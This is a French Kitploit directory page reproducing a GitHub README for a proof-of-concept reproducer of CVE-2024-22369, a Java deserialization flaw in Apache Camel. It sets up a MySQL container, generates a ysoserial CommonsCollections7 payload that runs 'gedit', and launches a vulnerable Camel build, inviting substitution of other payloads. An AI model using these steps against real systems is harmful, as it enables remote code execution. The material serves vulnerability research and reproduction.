Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-22369 — Reproducteur pour CVE-2024-22369 | Kitploit
Outils/GitHubGitHub/oscerd/cve-2024-22369
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesSécurité des Bases de Données
GitHuboscerd/cve-2024-22369

CVE-2024-22369

Reproducteur pour CVE-2024-22369

Voir le dépôt
4112il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-22369

Crédits

Ce POC est basé sur le reproducteur développé par Ziyang Chen du HuaWei Open Source Management Center

Le reproducteur a été utilisé pour créer ce PoC, avec quelques ajustements et nettoyages, et également enrichi avec davantage d'automatisation.

Préparer l'environnement

Nous aurons besoin d'une instance Mysql

docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql

Maintenant, nous devons créer les tables requises :

Vous avez deux fichiers : employee.sql et employee_completed.sql

Exécutez la commande suivante :

docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p

Saisissez votre mot de passe, exécutez USE db puis lancez les deux fichiers SQL.

À ce stade, vous disposez déjà des éléments nécessaires pour reproduire la désérialisation.

Exécutez la commande suivante

docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql

et notez l'adresse.

Maintenant, modifiez le fichier src/main/resources/application.properties en fonction de l'état de votre environnement.

Payload

Le payload que nous utilisons est basé sur commons-collections 3.2.1.

Vous devrez utiliser :

https://github.com/frohoff/ysoserial

Depuis la ligne de commande, vous pouvez recréer le payload de cette façon :

java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p

Cela retournera la version hexadécimale du payload. L'idée est d'exécuter la commande gedit lors de la désérialisation.

Vous pouvez expérimenter avec d'autres payloads et modifier les scripts SQL en changeant l'instruction INSERT et en ajoutant les nouveaux payloads générés.

Exécution

Pour reproduire le comportement. Tout d'abord, sélectionnez un JDK 17 (localement ou via SDKMan).

Exécutez ensuite la commande suivante :

mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run

Cela produira la sortie suivante :

Télécharger l’outil